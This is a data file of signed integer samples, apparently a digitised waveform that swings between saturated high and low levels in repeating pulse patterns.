+-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-121 +-111 +-102 +-94 +-86 +-78 +-72 +-67 +-61 +-55 +-50 +-45 +-40 +-37 +-34 +-31 +-26 +-24 +-21 +-19 +-15 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +68 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +59 +-37 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +66 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +59 +-37 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-108 +-99 +-90 +-83 +-76 +-69 +-64 +-60 +-54 +-48 +-44 +-40 +-35 +-32 +-29 +-26 +-23 +-20 +-17 +-15 +-13 +-11 +-9 +-9 +-7 +-5 +-2 +-1 +0 +1 +2 +2 +3 +4 +6 +6 +6 +7 +8 +7 +7 +8 +10 +10 +10 +10 +11 +11 +11 +11 +12 +12 +12 +51 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +70 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +61 +-35 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-106 +-98 +-90 +-83 +-75 +-69 +-64 +-60 +-54 +-48 +-43 +-39 +-35 +-32 +-28 +-26 +-23 +-21 +-18 +-15 +-13 +-12 +-10 +-9 +-7 +-5 +-3 +-2 +0 +1 +1 +2 +3 +4 +5 +5 +6 +7 +7 +6 +7 +8 +9 +9 +10 +11 +11 +10 +11 +11 +12 +12 +12 +51 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +119 +112 +104 +97 +90 +85 +79 +74 +69 +65 +60 +58 +55 +52 +48 +45 +43 +40 +37 +36 +34 +32 +30 +29 +28 +26 +24 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-100 +-93 +-85 +-77 +-71 +-66 +-60 +-55 +-49 +-44 +-40 +-36 +-32 +-29 +-26 +-23 +-20 +-18 +-16 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +111 +103 +97 +90 +84 +78 +74 +69 +65 +61 +58 +54 +51 +48 +45 +42 +40 +37 +36 +34 +32 +30 +29 +28 +26 +25 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-100 +-93 +-85 +-78 +-71 +-66 +-60 +-55 +-49 +-43 +-39 +-36 +-32 +-29 +-25 +-23 +-20 +-18 +-15 +-13 +-12 +-11 +-9 +-6 +-5 +-3 +-2 +0 +0 +1 +2 +3 +4 +4 +6 +7 +7 +5 +6 +8 +9 +10 +11 +11 +11 +11 +11 +11 +11 +11 +12 +11 +11 +11 +11 +11 +13 +13 +13 +13 +14 +14 +13 +13 +14 +14 +14 +14 +14 +13 +13 +13 +14 +15 +15 +14 +14 +14 +14 +14 +14 +15 +14 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +82 +-16 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +61 +-35 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-106 +-98 +-91 +-84 +-76 +-69 +-64 +-59 +-54 +-49 +-43 +-39 +-35 +-32 +-28 +-26 +-23 +-20 +-17 +-15 +-13 +-11 +-9 +-9 +-7 +-5 +-2 +-1 +0 +1 +3 +3 +4 +5 +6 +6 +6 +7 +8 +7 +7 +8 +10 +10 +10 +10 +11 +11 +11 +11 +12 +12 +12 +12 +12 +12 +11 +12 +13 +14 +14 +13 +13 +13 +14 +13 +14 +14 +14 +14 +14 +13 +14 +15 +16 +16 +16 +15 +15 +14 +14 +14 +14 +14 +14 +14 +14 +12 +13 +14 +14 +14 +15 +14 +14 +14 +15 +14 +14 +14 +15 +14 +14 +13 +13 +14 +14 +14 +15 +14 +14 +14 +15 +14 +14 +14 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +111 +103 +97 +90 +84 +79 +74 +68 +64 +61 +57 +53 +50 +47 +45 +41 +40 +38 +36 +33 +32 +30 +29 +27 +26 +-57 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +41 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +109 +101 +96 +88 +83 +78 +74 +68 +64 +60 +57 +53 +50 +47 +45 +42 +40 +37 +36 +34 +32 +30 +29 +28 +27 +25 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +42 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +57 +-39 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +64 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +59 +-37 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +66 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +110 +101 +95 +89 +84 +78 +73 +69 +65 +60 +57 +54 +52 +49 +45 +42 +41 +38 +36 +34 +33 +31 +30 +28 +26 +25 +24 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +43 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +117 +109 +101 +95 +88 +82 +77 +72 +67 +63 +59 +56 +52 +49 +47 +44 +41 +40 +38 +36 +33 +32 +31 +29 +27 +26 +25 +24 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-100 +-92 +-84 +-78 +-71 +-66 +-60 +-55 +-49 +-44 +-39 +-36 +-33 +-30 +-26 +-23 +-20 +-18 +-15 +-13 +-11 +-11 +-9 +-6 +-4 +-3 +-2 +0 +0 +0 +2 +3 +4 +4 +5 +6 +7 +5 +6 +7 +9 +9 +10 +10 +11 +10 +10 +11 +12 +12 +12 +12 +13 +11 +11 +12 +13 +14 +14 +13 +13 +13 +13 +13 +13 +14 +14 +13 +13 +13 +13 +13 +14 +14 +15 +14 +14 +14 +15 +14 +14 +14 +15 +54 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +110 +103 +97 +90 +84 +78 +74 +69 +65 +60 +57 +54 +50 +47 +44 +42 +39 +36 +35 +34 +32 +30 +29 +28 +27 +25 +24 +23 +22 +20 +20 +19 +18 +17 +17 +17 +16 +15 +15 +14 +14 +14 +14 +13 +13 +13 +13 +11 +12 +12 +11 +11 +11 +11 +10 +10 +11 +-64 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-121 +-111 +-101 +-93 +-86 +-78 +-71 +-66 +-61 +-55 +-49 +-44 +-40 +-37 +-33 +-30 +-27 +-24 +-21 +-18 +-16 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +71 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +59 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +66 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +61 +-35 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-107 +-97 +-89 +-82 +-75 +-69 +-63 +-60 +-54 +-49 +-43 +-40 +-35 +-31 +-28 +-26 +-23 +-20 +-17 +-15 +-13 +-11 +-9 +-9 +-7 +-5 +-2 +-2 +0 +1 +2 +3 +4 +4 +6 +6 +7 +7 +7 +7 +7 +7 +9 +10 +10 +10 +11 +11 +10 +11 +12 +12 +12 +51 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +83 +-16 +-103 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-108 +-99 +-90 +-83 +-76 +-69 +-63 +-59 +-54 +-49 +-43 +-39 +-35 +-32 +-28 +-26 +-23 +-21 +-18 +-15 +-13 +27 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-114 +-105 +-97 +-89 +-81 +-74 +-68 +-62 +-58 +-52 +-47 +-43 +-39 +-34 +-31 +-28 +-25 +-22 +-19 +-17 +-15 +-12 +29 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +117 +109 +101 +95 +89 +84 +78 +73 +69 +66 +62 +59 +55 +52 +48 +45 +42 +39 +36 +35 +32 +31 +30 +28 +26 +26 +25 +24 +23 +22 +21 +20 +19 +19 +18 +17 +16 +16 +15 +15 +14 +14 +13 +13 +12 +13 +12 +12 +12 +13 +12 +11 +11 +12 +11 +11 +11 +11 +10 +10 +10 +10 +10 +10 +10 +10 +9 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +10 +10 +11 +11 +10 +9 +9 +9 +8 +8 +8 +8 +8 +8 +8 +8 +9 +8 +8 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +8 +8 +8 +8 +9 +9 +8 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +8 +8 +9 +8 +8 +8 +8 +8 +8 +8 +8 +9 +8 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +9 +9 +9 +9 +9 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +9 +9 +10 +9 +9 +9 +10 +9 +9 +9 +9 +9 +8 +8 +9 +9 +9 +8 +9 +9 +10 +10 +11 +10 +10 +9 +9 +8 +9 +8 +8 +8 +8 +8 +9 +9 +8 +8 +9 +9 +9 +9 +9 +8 +9 +9 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +9 +9 +8 +9 +8 +8 +8 +9 +9 +10 +10 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +8 +9 +10 +9 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +8 +8 +8 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +9 +9 +9 +9 +8 +9 +8 +8 +8 +8 +8 +8 +8 +9 +9 +9 +8 +9 +-70 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-110 +-101 +-93 +-85 +-78 +-72 +-67 +-61 +-55 +-49 +-45 +-41 +-37 +-33 +-30 +-27 +-24 +-20 +-18 +-16 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-105 +-97 +-89 +-82 +-74 +-68 +-62 +-58 +-53 +-47 +-43 +-39 +-34 +-31 +-28 +-25 +-22 +-19 +-16 +-15 +-13 +-11 +-8 +-8 +-7 +-5 +-2 +-1 +0 +1 +2 +3 +4 +4 +5 +6 +7 +7 +7 +7 +8 +8 +9 +10 +11 +11 +11 +10 +11 +12 +13 +13 +13 +13 +13 +12 +12 +12 +14 +13 +13 +13 +14 +13 +13 +14 +14 +14 +14 +14 +14 +13 +13 +13 +14 +14 +14 +14 +15 +14 +14 +14 +14 +14 +14 +14 +14 +12 +13 +14 +15 +14 +15 +15 +14 +14 +15 +14 +14 +14 +15 +15 +14 +13 +13 +14 +15 +15 +15 +15 +15 +14 +14 +14 +15 +15 +14 +14 +15 +14 +14 +15 +15 +15 +15 +14 +14 +14 +14 +14 +14 +14 +15 +14 +14 +14 +14 +13 +14 +15 +15 +14 +14 +14 +14 +14 +15 +15 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-113 +-104 +-97 +-88 +-81 +-74 +-69 +-62 +-58 +-53 +-48 +-42 +-38 +-34 +-31 +-27 +-24 +-22 +-20 +-17 +-14 +-12 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-106 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-106 +-97 +-89 +-81 +-75 +-69 +-63 +-58 +-53 +-48 +-43 +-39 +-34 +-31 +-28 +-26 +-22 +-19 +-17 +-15 +-12 +29 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +109 +102 +96 +90 +84 +78 +74 +69 +66 +62 +59 +54 +51 +48 +45 +41 +39 +37 +35 +33 +32 +30 +28 +27 +27 +-57 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-118 +-108 +-100 +-92 +-84 +-77 +-71 +-66 +-60 +-54 +-49 +-44 +-40 +-35 +-32 +-30 +-26 +-23 +-20 +-18 +-16 +26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-105 +-97 +-89 +-82 +-75 +-68 +-63 +-59 +-53 +-48 +-42 +-38 +-34 +-31 +-28 +-25 +-22 +-19 +-17 +-15 +-12 +-10 +-9 +-9 +-6 +-4 +-2 +-1 +0 +1 +2 +2 +3 +4 +6 +5 +6 +6 +7 +6 +6 +7 +10 +10 +10 +10 +11 +11 +11 +11 +13 +12 +12 +12 +13 +11 +11 +12 +14 +14 +14 +14 +15 +14 +14 +14 +15 +14 +14 +14 +14 +13 +13 +13 +14 +14 +14 +14 +15 +14 +14 +14 +15 +14 +14 +14 +15 +13 +13 +14 +15 +14 +15 +15 +15 +14 +14 +14 +15 +14 +14 +14 +14 +12 +13 +14 +15 +14 +15 +15 +15 +14 +14 +15 +15 +14 +14 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +111 +102 +96 +89 +83 +77 +73 +68 +64 +60 +57 +53 +50 +47 +45 +42 +40 +38 +36 +33 +32 +31 +29 +27 +26 +-57 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +43 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +124 +116 +109 +101 +94 +88 +83 +77 +72 +68 +64 +60 +56 +53 +51 +48 +45 +42 +40 +37 +36 +33 +32 +30 +29 +27 +26 +25 +23 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-101 +-93 +-84 +-77 +-70 +-65 +-59 +-53 +-47 +-43 +-39 +-36 +-33 +-30 +-27 +-24 +-20 +-18 +-16 +-14 +-11 +-11 +-9 +-7 +-4 +-2 +0 +1 +2 +1 +3 +3 +4 +4 +5 +5 +6 +5 +6 +7 +8 +9 +9 +10 +10 +10 +10 +11 +12 +11 +12 +12 +13 +11 +11 +11 +13 +13 +13 +13 +14 +13 +13 +13 +14 +14 +14 +13 +14 +13 +13 +13 +14 +15 +15 +14 +15 +14 +14 +14 +14 +15 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +109 +102 +96 +89 +84 +79 +74 +69 +66 +61 +57 +53 +50 +46 +44 +41 +39 +36 +35 +34 +32 +30 +29 +28 +26 +25 +24 +23 +22 +20 +20 +19 +18 +17 +17 +16 +16 +15 +15 +14 +14 +13 +14 +13 +13 +12 +13 +12 +12 +11 +12 +11 +11 +10 +11 +10 +10 +-64 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-121 +-111 +-102 +-94 +-86 +-79 +-72 +-68 +-61 +-55 +-50 +-45 +-40 +-36 +-33 +-30 +-26 +-24 +-21 +-19 +-15 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +79 +-19 +-106 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +70 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +66 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +59 +-37 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-108 +-99 +-90 +-83 +-76 +-70 +-63 +-59 +-54 +-49 +-43 +-38 +-34 +-32 +-28 +-25 +-22 +-20 +-17 +-15 +-12 +-11 +-10 +-9 +-6 +-5 +-3 +-2 +0 +1 +1 +2 +4 +4 +5 +5 +6 +7 +7 +6 +7 +8 +9 